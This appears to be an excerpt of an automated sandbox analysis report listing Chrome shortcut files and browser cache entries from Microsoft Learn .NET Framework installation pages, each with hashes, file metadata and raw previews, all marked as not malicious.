Preview:	L..................F.@.. ...$+.,.....4.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 03:47:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9823372878923857
Encrypted:	false
SSDEEP:	48:8XJdWTSOpH+idAKZdA1hehBiZUk1W1qehPy+C:8abr9vy
MD5:	829AC69FFC428EBAFB0E500EDAC10D50
SHA1:	208C17EFABEC06CBC5B1B90EF979B104F3A42DD7
SHA-256:	6F5F3FD1ADB3276100A094803A44E8860E088BF290CE5398FD78C1E8F3189B98
SHA-512:	905ED2C9ECE5224BBA4029E673986BDF517542C912DBFD373852282ABBF1926FE0C4AFF5C1C39899419D3860DAEEA3017E574E4FC4C7E3D5503386A5B9997BCD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....A...J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 03:47:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9933916786440666
Encrypted:	false
SSDEEP:	48:8QdWTSOpH+idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbZy+yT+:8BbLT/TbxWOvTbZy7T
MD5:	854789C904E28DD76F31893FF3B7AB62
SHA1:	224C98B213C366921890DAA386BA57115C300C86
SHA-256:	910305D9C1FB73F473508A772A983CEC7585E4EF4D311266E94081155B721277
SHA-512:	283BBBAF53142831844970A9197AE33CD186A1B76538F3F96533146CAC722BD3DBBAAB9EB2229A5FD6CDCD6F0C9FF791F263A84B88F5F75B5BDCFCD150AE7326
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....3.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H..A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
